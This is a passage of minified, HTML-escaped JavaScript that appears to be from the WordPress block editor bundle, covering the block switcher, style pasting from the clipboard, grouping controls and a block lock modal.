e=l.current;e&amp;&amp;Hj&amp;&amp;Hj(e)};return(0,h.useEffect)((()=&gt;()=&gt;{c(!1),d()}),[]),{debouncedShowGestures:e=&gt;{e&amp;&amp;e.stopPropagation(),d(),c(!0)},debouncedHideGestures:e=&gt;{e&amp;&amp;e.stopPropagation(),d(),l.current=Uj((()=&gt;{u()&amp;&amp;c(!1)}),o)}}}function Wj({ref:e,highlightParent:t=!1,debounceTimeout:n=Gj}){const[o,r]=(0,h.useState)(!1),{debouncedShowGestures:i,debouncedHideGestures:s}=$j({ref:e,debounceTimeout:n,isFocused:o,highlightParent:t}),l=(0,h.useRef)(!1),a=()=&gt;e?.current&amp;&amp;e.current.contains(e.current.ownerDocument.activeElement);return(0,h.useEffect)((()=&gt;{const t=e.current,n=()=&gt;{a()&amp;&amp;(r(!0),i())},o=()=&gt;{a()||(r(!1),s())};return t&amp;&amp;!l.current&amp;&amp;(t.addEventListener(&quot;focus&quot;,n,!0),t.addEventListener(&quot;blur&quot;,o,!0),l.current=!0),()=&gt;{t&amp;&amp;(t.removeEventListener(&quot;focus&quot;,n),t.removeEventListener(&quot;blur&quot;,o))}}),[e,l,r,i,s]),{onMouseMove:i,onMouseLeave:s}}function Kj(){const{selectBlock:e}=(0,g.useDispatch)(Ii),{parentClientId:t}=(0,g.useSelect)((e=&gt;{const{getBlockParents:t,getSelectedBlockClientId:n,getParentSectionBlock:o}=U(e(Ii)),r=n(),i=o(r),s=t(r);return{parentClientId:i??s[s.length-1]}}),[]),n=Yf(t),o=(0,h.useRef)(),r=Wj({ref:o,highlightParent:!0});return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-parent-selector&quot;,ref:o,...r,children:(0,d.jsx)(Ss.ToolbarButton,{className:&quot;block-editor-block-parent-selector__button&quot;,onClick:()=&gt;e(t),label:(0,T.sprintf)((0,T.__)(&quot;Select parent block: %s&quot;),n?.title),showTooltip:!0,icon:(0,d.jsx)(zu,{icon:n?.icon})})},t)}var Zj=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z&quot;})});function qj({blocks:e}){return(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?null:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__popover-preview-container&quot;,children:(0,d.jsx)(Ss.Popover,{className:&quot;block-editor-block-switcher__popover-preview&quot;,placement:&quot;right-start&quot;,focusOnMount:!1,offset:16,children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview&quot;,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview-title&quot;,children:(0,T.__)(&quot;Preview&quot;)}),(0,d.jsx)(bC,{viewportWidth:601,blocks:e})]})})})}const Yj={};function Xj({item:e,onSelect:t,setHoveredTransformItemName:n}){const{name:o,icon:r,title:i}=e;return(0,d.jsxs)(Ss.MenuItem,{className:(0,p.getBlockMenuDefaultClassName)(o),onClick:e=&gt;{e.preventDefault(),t(o)},onMouseLeave:()=&gt;n(null),onMouseEnter:()=&gt;n(o),children:[(0,d.jsx)(zu,{icon:r,showColors:!0}),i]})}var Qj=({transformations:e,onSelect:t,blocks:n})=&gt;{const[o,r]=(0,h.useState)();return(0,d.jsxs)(d.Fragment,{children:[o&amp;&amp;(0,d.jsx)(qj,{blocks:(0,p.cloneBlock)(n[0],e.find((({name:e})=&gt;e===o)).attributes)}),e?.map((e=&gt;(0,d.jsx)(Xj,{item:e,onSelect:t,setHoveredTransformItemName:r},e.name)))]})};function Jj({restTransformations:e,onSelect:t,setHoveredTransformItemName:n}){return e.map((e=&gt;(0,d.jsx)(eE,{item:e,onSelect:t,setHoveredTransformItemName:n},e.name)))}function eE({item:e,onSelect:t,setHoveredTransformItemName:n}){const{name:o,icon:r,title:i,isDisabled:s}=e;return(0,d.jsxs)(Ss.MenuItem,{className:(0,p.getBlockMenuDefaultClassName)(o),onClick:e=&gt;{e.preventDefault(),t(o)},disabled:s,onMouseLeave:()=&gt;n(null),onMouseEnter:()=&gt;n(o),children:[(0,d.jsx)(zu,{icon:r,showColors:!0}),i]})}var tE=({className:e,possibleBlockTransformations:t,possibleBlockVariationTransformations:n,onSelect:o,onSelectVariation:r,blocks:i})=&gt;{const[s,l]=(0,h.useState)(),{priorityTextTransformations:a,restTransformations:c}=function(e){const t={&quot;core/paragraph&quot;:1,&quot;core/heading&quot;:2,&quot;core/list&quot;:3,&quot;core/quote&quot;:4},n=(0,h.useMemo)((()=&gt;{const n=Object.keys(t),o=e.reduce(((e,t)=&gt;{const{name:o}=t;return n.includes(o)?e.priorityTextTransformations.push(t):e.restTransformations.push(t),e}),{priorityTextTransformations:[],restTransformations:[]});if(1===o.priorityTextTransformations.length&amp;&amp;&quot;core/quote&quot;===o.priorityTextTransformations[0].name){const e=o.priorityTextTransformations.pop();o.restTransformations.push(e)}return o}),[e]);return n.priorityTextTransformations.sort((({name:e},{name:n})=&gt;t[e]&lt;t[n]?-1:1)),n}(t),u=a.length&amp;&amp;c.length,g=!!c.length&amp;&amp;(0,d.jsx)(Jj,{restTransformations:c,onSelect:o,setHoveredTransformItemName:l});return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.MenuGroup,{label:(0,T.__)(&quot;Transform to&quot;),className:e,children:[s&amp;&amp;(0,d.jsx)(qj,{blocks:(0,p.switchToBlockType)(i,s)}),!!n?.length&amp;&amp;(0,d.jsx)(Qj,{transformations:n,blocks:i,onSelect:r}),a.map((e=&gt;(0,d.jsx)(eE,{item:e,onSelect:o,setHoveredTransformItemName:l},e.name))),!u&amp;&amp;g]}),!!u&amp;&amp;(0,d.jsx)(Ss.MenuGroup,{className:e,children:g})]})};function nE(e,t,n){const o=new(Sg())(e);return t&amp;&amp;o.remove(&quot;is-style-&quot;+t.name),o.add(&quot;is-style-&quot;+n.name),o.value}function oE(e){return e?.find((e=&gt;e.isDefault))}function rE({clientId:e,onSwitch:t}){const{styles:n,block:o,blockType:r,className:i}=(0,g.useSelect)((t=&gt;{const{getBlock:n}=t(Ii),o=n(e);if(!o)return{};const r=(0,p.getBlockType)(o.name),{getBlockStyles:i}=t(p.store);return{block:o,blockType:r,styles:i(o.name),className:o.attributes.className||&quot;&quot;}}),[e]),{updateBlockAttributes:s}=(0,g.useDispatch)(Ii),l=function(e){return e&amp;&amp;0!==e.length?oE(e)?e:[{name:&quot;default&quot;,label:(0,T._x)(&quot;Default&quot;,&quot;block style&quot;),isDefault:!0},...e]:[]}(n),a=function(e,t){for(const n of new(Sg())(t).values()){if(-1===n.indexOf(&quot;is-style-&quot;))continue;const t=n.substring(9),o=e?.find((({name:e})=&gt;e===t));if(o)return o}return oE(e)}(l,i),c=function(e,t){return(0,h.useMemo)((()=&gt;{const n=t?.example,o=t?.name;return n&amp;&amp;o?(0,p.getBlockFromExample)(o,{attributes:n.attributes,innerBlocks:n.innerBlocks}):e?(0,p.cloneBlock)(e):void 0}),[t?.example?e?.name:e,t])}(o,r);return{onSelect:n=&gt;{const o=nE(i,a,n);s(e,{className:o}),t()},stylesToRender:l,activeStyle:a,genericPreviewBlock:c,className:i}}const iE=()=&gt;{};function sE({clientId:e,onSwitch:t=iE}){const{onSelect:n,stylesToRender:o,activeStyle:r}=rE({clientId:e,onSwitch:t});return o&amp;&amp;0!==o.length?(0,d.jsx)(d.Fragment,{children:o.map((e=&gt;{const t=e.label||e.name;return(0,d.jsx)(Ss.MenuItem,{icon:r.name===e.name?rp:null,onClick:()=&gt;n(e),children:(0,d.jsx)(Ss.__experimentalText,{as:&quot;span&quot;,limit:18,ellipsizeMode:&quot;tail&quot;,truncate:!0,children:t})},e.name)}))}):null}function lE({hoveredBlock:e,onSwitch:t}){const{clientId:n}=e;return(0,d.jsx)(Ss.MenuGroup,{label:(0,T.__)(&quot;Styles&quot;),className:&quot;block-editor-block-switcher__styles__menugroup&quot;,children:(0,d.jsx)(sE,{clientId:n,onSwitch:t})})}const aE=(e,t,n=new Set)=&gt;{const{clientId:o,name:r,innerBlocks:i=[]}=e;if(!n.has(o)){if(r===t)return e;for(const e of i){const o=aE(e,t,n);if(o)return o}}},cE=(e,t)=&gt;{const n=((e,t)=&gt;{const n=(0,p.getBlockAttributesNamesByRole)(e,&quot;content&quot;);return n?.length?n.reduce(((e,n)=&gt;(t[n]&amp;&amp;(e[n]=t[n]),e)),{}):t})(t.name,t.attributes);e.attributes={...e.attributes,...n}};var uE=(e,t)=&gt;(0,h.useMemo)((()=&gt;e.reduce(((e,n)=&gt;{const o=((e,t)=&gt;{const n=t.map((e=&gt;(0,p.cloneBlock)(e))),o=new Set;for(const t of e){let e=!1;for(const r of n){const n=aE(r,t.name,o);if(n){e=!0,o.add(n.clientId),cE(n,t);break}}if(!e)return}return n})(t,n.blocks);return o&amp;&amp;e.push({...n,transformedBlocks:o}),e}),[])),[e,t]);function dE({patterns:e,onSelect:t}){const n=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__popover-preview-container&quot;,children:(0,d.jsx)(Ss.Popover,{className:&quot;block-editor-block-switcher__popover-preview&quot;,placement:n?&quot;bottom&quot;:&quot;right-start&quot;,offset:16,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__preview is-pattern-list-preview&quot;,children:(0,d.jsx)(pE,{patterns:e,onSelect:t})})})})}function pE({patterns:e,onSelect:t}){return(0,d.jsx)(Ss.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-block-switcher__preview-patterns-container&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Patterns list&quot;),children:e.map((e=&gt;(0,d.jsx)(hE,{pattern:e,onSelect:t},e.name)))})}function hE({pattern:e,onSelect:t}){const n=&quot;block-editor-block-switcher__preview-patterns-container&quot;,o=(0,m.useInstanceId)(hE,`${n}-list__item-description`);return(0,d.jsxs)(&quot;div&quot;,{className:`${n}-list__list-item`,children:[(0,d.jsxs)(Ss.Composite.Item,{render:(0,d.jsx)(&quot;div&quot;,{role:&quot;option&quot;,&quot;aria-label&quot;:e.title,&quot;aria-describedby&quot;:e.description?o:void 0,className:`${n}-list__item`}),onClick:()=&gt;t(e.transformedBlocks),children:[(0,d.jsx)(bC,{blocks:e.transformedBlocks,viewportWidth:e.viewportWidth||500}),(0,d.jsx)(&quot;div&quot;,{className:`${n}-list__item-title`,children:e.title})]}),!!e.description&amp;&amp;(0,d.jsx)(Ss.VisuallyHidden,{id:o,children:e.description})]})}var gE=function({blocks:e,patterns:t,onSelect:n}){const[o,r]=(0,h.useState)(!1),i=uE(t,e);return i.length?(0,d.jsxs)(Ss.MenuGroup,{className:&quot;block-editor-block-switcher__pattern__transforms__menugroup&quot;,children:[o&amp;&amp;(0,d.jsx)(dE,{patterns:i,onSelect:n}),(0,d.jsx)(Ss.MenuItem,{onClick:e=&gt;{e.preventDefault(),r(!o)},icon:Kb,children:(0,T.__)(&quot;Patterns&quot;)})]}):null};function mE({onClose:e,clientIds:t,hasBlockStyles:n,canRemove:o}){const{replaceBlocks:r,multiSelect:i,updateBlockAttributes:s}=(0,g.useDispatch)(Ii),{possibleBlockTransformations:l,patterns:a,blocks:c,isUsingBindings:u}=(0,g.useSelect)((e=&gt;{const{getBlockAttributes:n,getBlocksByClientId:o,getBlockRootClientId:r,getBlockTransformItems:i,__experimentalGetPatternTransformItems:s}=e(Ii),l=r(t[0]),a=o(t);return{blocks:a,possibleBlockTransformations:i(a,l),patterns:s(a,l),isUsingBindings:t.every((e=&gt;!!n(e)?.metadata?.bindings))}}),[t]),m=function({clientIds:e,blocks:t}){const{activeBlockVariation:n,blockVariationTransformations:o}=(0,g.useSelect)((n=&gt;{const{getBlockAttributes:o,canRemoveBlocks:r}=n(Ii),{getActiveBlockVariation:i,getBlockVariations:s}=n(p.store),l=r(e);if(1!==t.length||!l)return Yj;const[a]=t;return{blockVariationTransformations:s(a.name,&quot;transform&quot;),activeBlockVariation:i(a.name,o(a.clientId))}}),[e,t]);return(0,h.useMemo)((()=&gt;o?.filter((({name:e})=&gt;e!==n?.name))),[o,n])}({clientIds:t,blocks:c});function f(e){e.length&gt;1&amp;&amp;i(e[0].clientId,e[e.length-1].clientId)}const b=1===c.length,k=b&amp;&amp;((0,p.isTemplatePart)(c[0])||(0,p.isReusableBlock)(c[0])),v=!!l?.length&amp;&amp;o&amp;&amp;!k,_=!!m?.length,y=!!a?.length&amp;&amp;o,x=v||_;if(!(n||x||y))return(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-switcher__no-transforms&quot;,children:(0,T.__)(&quot;No transforms.&quot;)});const S=b?(0,T._x)(&quot;This block is connected.&quot;,&quot;block toolbar button label and description&quot;):(0,T._x)(&quot;These blocks are connected.&quot;,&quot;block toolbar button label and description&quot;);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-switcher__container&quot;,children:[y&amp;&amp;(0,d.jsx)(gE,{blocks:c,patterns:a,onSelect:n=&gt;{!function(e){r(t,e),f(e)}(n),e()}}),x&amp;&amp;(0,d.jsx)(tE,{className:&quot;block-editor-block-switcher__transforms__menugroup&quot;,possibleBlockTransformations:l,possibleBlockVariationTransformations:m,blocks:c,onSelect:n=&gt;{!function(e){const n=(0,p.switchToBlockType)(c,e);r(t,n),f(n)}(n),e()},onSelectVariation:t=&gt;{!function(e){s(c[0].clientId,{...m.find((({name:t})=&gt;t===e)).attributes})}(t),e()}}),n&amp;&amp;(0,d.jsx)(lE,{hoveredBlock:c[0],onSwitch:e}),u&amp;&amp;(0,d.jsx)(Ss.MenuGroup,{children:(0,d.jsx)(Ss.__experimentalText,{className:&quot;block-editor-block-switcher__binding-indicator&quot;,children:S})})]})}var fE=({clientIds:e})=&gt;{const{hasContentOnlyLocking:t,canRemove:n,hasBlockStyles:o,icon:r,invalidBlocks:i,isReusable:s,isTemplate:l,isDisabled:a,isSectionInSelection:c}=(0,g.useSelect)((t=&gt;{const{getTemplateLock:n,getBlocksByClientId:o,getBlockAttributes:r,canRemoveBlocks:i,getBlockEditingMode:s,isSectionBlock:l}=U(t(Ii)),{getBlockStyles:a,getBlockType:c,getActiveBlockVariation:u}=t(p.store),d=o(e);if(!d.length||d.some((e=&gt;!e)))return{invalidBlocks:!0};const[{name:h}]=d,g=1===d.length,m=c(h),f=s(e[0]);let b,k;if(g){const t=u(h,r(e[0]));b=t?.icon||m.icon,k=&quot;contentOnly&quot;===n(e[0])}else{const t=1===new Set(d.map((({name:e})=&gt;e))).size;k=e.some((e=&gt;&quot;contentOnly&quot;===n(e))),b=t?m.icon:Zj}const v=e.some((e=&gt;l(e)));return{canRemove:i(e),hasBlockStyles:g&amp;&amp;!!a(h)?.length,icon:b,isReusable:g&amp;&amp;(0,p.isReusableBlock)(d[0]),isTemplate:g&amp;&amp;(0,p.isTemplatePart)(d[0]),hasContentOnlyLocking:k,isDisabled:&quot;default&quot;!==f,isSectionInSelection:v}}),[e]),u=xj({clientId:e?.[0],maximumLength:35}),h=(0,g.useSelect)((e=&gt;e(pr.store).get(&quot;core&quot;,&quot;showIconLabels&quot;)),[]);if(i)return null;const m=1===e.length,f=m?u:(0,T.__)(&quot;Multiple blocks selected&quot;),b=(s||l)&amp;&amp;!h&amp;&amp;u?u:void 0;if(window?.__experimentalContentOnlyPatternInsertion&amp;&amp;c||a||!o&amp;&amp;!n||t)return(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarButton,{disabled:!0,className:&quot;block-editor-block-switcher__no-switcher-icon&quot;,title:f,icon:(0,d.jsx)(zu,{className:&quot;block-editor-block-switcher__toggle&quot;,icon:r,showColors:!0}),text:b})});const k=m?(0,T.__)(&quot;Change block type or style&quot;):(0,T.sprintf)((0,T._n)(&quot;Change type of %d block&quot;,&quot;Change type of %d blocks&quot;,e.length),e.length);return(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarItem,{children:t=&gt;(0,d.jsx)(Ss.DropdownMenu,{className:&quot;block-editor-block-switcher&quot;,label:f,popoverProps:{placement:&quot;bottom-start&quot;,className:&quot;block-editor-block-switcher__popover&quot;},icon:(0,d.jsx)(zu,{className:&quot;block-editor-block-switcher__toggle&quot;,icon:r,showColors:!0}),text:b,toggleProps:{description:k,...t},menuProps:{orientation:&quot;both&quot;},children:({onClose:t})=&gt;(0,d.jsx)(mE,{onClose:t,clientIds:e,hasBlockStyles:o,canRemove:n})})})})};const{Fill:bE,Slot:kE}=(0,Ss.createSlotFill)(&quot;__unstableBlockToolbarLastItem&quot;);bE.Slot=kE;var vE=bE;const _E=&quot;align&quot;,yE=&quot;__experimentalBorder&quot;,xE=&quot;color&quot;,SE=&quot;customClassName&quot;,wE=&quot;typography.__experimentalFontFamily&quot;,CE=&quot;typography.fontSize&quot;,BE=&quot;typography.textAlign&quot;,IE=&quot;layout&quot;,jE=[&quot;shadow&quot;,...[&quot;typography.lineHeight&quot;,CE,&quot;typography.__experimentalFontStyle&quot;,&quot;typography.__experimentalFontWeight&quot;,wE,BE,&quot;typography.textColumns&quot;,&quot;typography.__experimentalTextDecoration&quot;,&quot;typography.__experimentalTextTransform&quot;,&quot;typography.__experimentalWritingMode&quot;,&quot;typography.__experimentalLetterSpacing&quot;],yE,xE,&quot;spacing&quot;];const EE={align:e=&gt;(0,p.hasBlockSupport)(e,_E),borderColor:e=&gt;function(e,t=&quot;any&quot;){if(&quot;web&quot;!==h.Platform.OS)return!1;const n=(0,p.getBlockSupport)(e,yE);return!0===n||(&quot;any&quot;===t?!!(n?.color||n?.radius||n?.width||n?.style):!!n?.[t])}(e,&quot;color&quot;),backgroundColor:e=&gt;{const t=(0,p.getBlockSupport)(e,xE);return t&amp;&amp;!1!==t.background},textAlign:e=&gt;(0,p.hasBlockSupport)(e,BE),textColor:e=&gt;{const t=(0,p.getBlockSupport)(e,xE);return t&amp;&amp;!1!==t.text},gradient:e=&gt;{const t=(0,p.getBlockSupport)(e,xE);return null!==t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;!!t.gradients},className:e=&gt;(0,p.hasBlockSupport)(e,SE,!0),fontFamily:e=&gt;(0,p.hasBlockSupport)(e,wE),fontSize:e=&gt;(0,p.hasBlockSupport)(e,CE),layout:e=&gt;(0,p.hasBlockSupport)(e,IE),style:e=&gt;jE.some((t=&gt;(0,p.hasBlockSupport)(e,t)))};function TE(e,t){return Object.entries(EE).reduce(((n,[o,r])=&gt;(r(e.name)&amp;&amp;r(t.name)&amp;&amp;(n[o]=e.attributes[o]),n)),{})}function ME(e,t,n){for(let o=0;o&lt;Math.min(t.length,e.length);o+=1)n(e[o].clientId,TE(t[o],e[o])),ME(e[o].innerBlocks,t[o].innerBlocks,n)}function PE(){const e=(0,g.useRegistry)(),{updateBlockAttributes:t}=(0,g.useDispatch)(Ii),{createSuccessNotice:n,createWarningNotice:o,createErrorNotice:r}=(0,g.useDispatch)(dr.store);return(0,h.useCallback)((async i=&gt;{let s=&quot;&quot;;try{if(!window.navigator.clipboard)return void r((0,T.__)(&quot;Unable to paste styles. This feature is only available on secure (https) sites in supporting browsers.&quot;),{type:&quot;snackbar&quot;});s=await window.navigator.clipboard.readText()}catch(e){return void r((0,T.__)(&quot;Unable to paste styles. Please allow browser clipboard permissions before continuing.&quot;),{type:&quot;snackbar&quot;})}if(!s||!function(e){try{const t=(0,p.parse)(e,{__unstableSkipMigrationLogs:!0,__unstableSkipAutop:!0});return 1!==t.length||&quot;core/freeform&quot;!==t[0].name}catch(e){return!1}}(s))return void o((0,T.__)(&quot;Unable to paste styles. Block styles couldn&#039;t be found within the copied content.&quot;),{type:&quot;snackbar&quot;});const l=(0,p.parse)(s);if(1===l.length?e.batch((()=&gt;{ME(i,i.map((()=&gt;l[0])),t)})):e.batch((()=&gt;{ME(i,l,t)})),1===i.length){const e=(0,p.getBlockType)(i[0].name)?.title;n((0,T.sprintf)((0,T.__)(&quot;Pasted styles to %s.&quot;),e),{type:&quot;snackbar&quot;})}else n((0,T.sprintf)((0,T.__)(&quot;Pasted styles to %d blocks.&quot;),i.length),{type:&quot;snackbar&quot;})}),[e.batch,t,n,o,r])}function RE({clientIds:e,children:t,__experimentalUpdateSelection:n}){const{getDefaultBlockName:o,getGroupingBlockName:r}=(0,g.useSelect)(p.store),i=(0,g.useSelect)((t=&gt;{const{canInsertBlockType:n,getBlockRootClientId:r,getBlocksByClientId:i,getDirectInsertBlock:s,canRemoveBlocks:l}=t(Ii),a=i(e),c=r(e[0]),u=n(o(),c),d=c?s(c):null;return{canRemove:l(e),canInsertBlock:a.every((e=&gt;(u||!!d)&amp;&amp;n(e.name,c))),canCopyStyles:a.every((e=&gt;!!e&amp;&amp;((0,p.hasBlockSupport)(e.name,&quot;color&quot;)||(0,p.hasBlockSupport)(e.name,&quot;typography&quot;)))),canDuplicate:a.every((e=&gt;!!e&amp;&amp;(0,p.hasBlockSupport)(e.name,&quot;multiple&quot;,!0)&amp;&amp;n(e.name,c)))}}),[e,o]),{getBlocksByClientId:s,getBlocks:l}=(0,g.useSelect)(Ii),{canRemove:a,canInsertBlock:c,canCopyStyles:u,canDuplicate:d}=i,{removeBlocks:h,replaceBlocks:m,duplicateBlocks:f,insertAfterBlock:b,insertBeforeBlock:k,flashBlock:v}=(0,g.useDispatch)(Ii),_=PE();return t({canCopyStyles:u,canDuplicate:d,canInsertBlock:c,canRemove:a,onDuplicate:()=&gt;f(e,n),onRemove:()=&gt;h(e,n),onInsertBefore(){k(e[0])},onInsertAfter(){b(e[e.length-1])},onGroup(){if(!e.length)return;const t=r(),n=(0,p.switchToBlockType)(s(e),t);n&amp;&amp;m(e,n)},onUngroup(){if(!e.length)return;const t=l(e[0]);t.length&amp;&amp;m(e,t)},onCopy(){1===e.length&amp;&amp;v(e[0])},async onPasteStyles(){await _(s(e))}})}var AE=(0,Ss.createSlotFill)(Symbol(&quot;CommentIconSlotFill&quot;));var NE=function({clientId:e}){const t=(0,g.useSelect)((t=&gt;t(Ii).getBlock(e)),[e]),{replaceBlocks:n}=(0,g.useDispatch)(Ii);return t&amp;&amp;&quot;core/html&quot;===t.name?(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;n(e,(0,p.rawHandler)({HTML:(0,p.getBlockContent)(t)})),children:(0,T.__)(&quot;Convert to Blocks&quot;)}):null};const{Fill:LE,Slot:DE}=(0,Ss.createSlotFill)(&quot;__unstableBlockSettingsMenuFirstItem&quot;);LE.Slot=DE;var OE=LE;function zE(e){return(0,g.useSelect)((t=&gt;{const{getBlocksByClientId:n,getSelectedBlockClientIds:o,isUngroupable:r,isGroupable:i}=t(Ii),{getGroupingBlockName:s,getBlockType:l}=t(p.store),a=e?.length?e:o(),c=n(a),[u]=c,d=1===a.length&amp;&amp;r(a[0]);return{clientIds:a,isGroupable:i(a),isUngroupable:d,blocksSelection:c,groupingBlockName:s(),onUngroup:d&amp;&amp;l(u.name)?.transforms?.ungroup}}),[e])}function VE({clientIds:e,isGroupable:t,isUngroupable:n,onUngroup:o,blocksSelection:r,groupingBlockName:i,onClose:s=()=&gt;{}}){const{getSelectedBlockClientIds:l}=(0,g.useSelect)(Ii),{replaceBlocks:a}=(0,g.useDispatch)(Ii);if(!t&amp;&amp;!n)return null;const c=l();return(0,d.jsxs)(d.Fragment,{children:[t&amp;&amp;(0,d.jsx)(Ss.MenuItem,{shortcut:c.length&gt;1?$a.displayShortcut.primary(&quot;g&quot;):void 0,onClick:()=&gt;{(()=&gt;{const t=(0,p.switchToBlockType)(r,i);t&amp;&amp;a(e,t)})(),s()},children:(0,T._x)(&quot;Group&quot;,&quot;verb&quot;)}),n&amp;&amp;(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{(()=&gt;{let t=r[0].innerBlocks;t.length&amp;&amp;(o&amp;&amp;(t=o(r[0].attributes,r[0].innerBlocks)),a(e,t))})(),s()},children:(0,T._x)(&quot;Ungroup&quot;,&quot;Ungrouping blocks from within a grouping block back into individual blocks within the Editor&quot;)})]})}function FE(e){return(0,g.useSelect)((t=&gt;{const{canEditBlock:n,canMoveBlock:o,canRemoveBlock:r,canLockBlockType:i,getBlockName:s,getTemplateLock:l}=t(Ii),a=n(e),c=o(e),u=r(e);return{canEdit:a,canMove:c,canRemove:u,canLock:i(s(e)),isContentLocked:&quot;contentOnly&quot;===l(e),isLocked:!a||!c||!u}}),[e])}var HE=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8h1.5c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1z&quot;})}),UE=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zM9.8 7c0-1.2 1-2.2 2.2-2.2 1.2 0 2.2 1 2.2 2.2v3H9.8V7zm6.7 11.5h-9v-7h9v7z&quot;})}),GE=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z&quot;})});const $E=[&quot;core/navigation&quot;];function WE(e){return e.remove&amp;&amp;e.move?&quot;all&quot;:!(!e.remove||e.move)&amp;&amp;&quot;insert&quot;}function KE({clientId:e,onClose:t}){const[n,o]=(0,h.useState)({move:!1,remove:!1}),{canEdit:r,canMove:i,canRemove:s}=FE(e),{allowsEditLocking:l,templateLock:a,hasTemplateLock:c}=(0,g.useSelect)((t=&gt;{const{getBlockName:n,getBlockAttributes:o}=t(Ii),r=n(e),i=(0,p.getBlockType)(r);return{allowsEditLocking:$E.includes(r),templateLock:o(e)?.templateLock,hasTemplateLock:!!i?.attributes?.templateLock}}),[e]),[u,m]=(0,h.useState)(!!a),{updateBlockAttributes:f}=(0,g.useDispatch)(Ii),b=Yf(e);(0,h.useEffect)((()=&gt;{o({move:!i,remove:!s,...l?{edit:!r}:{}})}),[r,i,s,l]);const k=Object.values(n).every(Boolean),v=Object.values(n).some(Boolean)&amp;&amp;!k;return(0,d.jsx)(Ss.Modal,{title:(0,T.sprintf)((0,T.__)(&quot;Lock %s&quot;),b.title),overlayClassName:&quot;block-editor-block-lock-modal&quot;,onRequestClose:t,size:&quot;small&quot;,children:(0,d.jsxs)(&quot;form&quot;,{onSubmit:o=&gt;{o.preventDefault(),f([e],{lock:n,templateLock:u?WE(n):void 0}),t()},children:[(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-block-lock-modal__options&quot;,children:[(0,d.jsx)(&quot;legend&quot;,{children:(0,T.__)(&quot;Select the features you want to lock&quot;)}),(0,d.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;block-editor-block-lock-modal__checklist&quot;,children:(0,d.jsxs)(&quot;li&quot;,{children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-block-lock-modal__options-all&quot;,label:(0,T.__)(&quot;Lock all&quot;),checked:k,indeterminate:v,onChange:e=&gt;o({move:e,remove:e,...l?{edit:e}:{}})}),(0,d.jsxs)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;block-editor-block-lock-modal__checklist&quot;,children:[l&amp;&amp;(0,d.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Lock editing&quot;),checked:!!n.edit,onChange:e=&gt;o((t=&gt;({...t,edit:e})))}),(0,d.jsx)(Ss.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:n.edit?GE:HE})]}),(0,d.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Lock 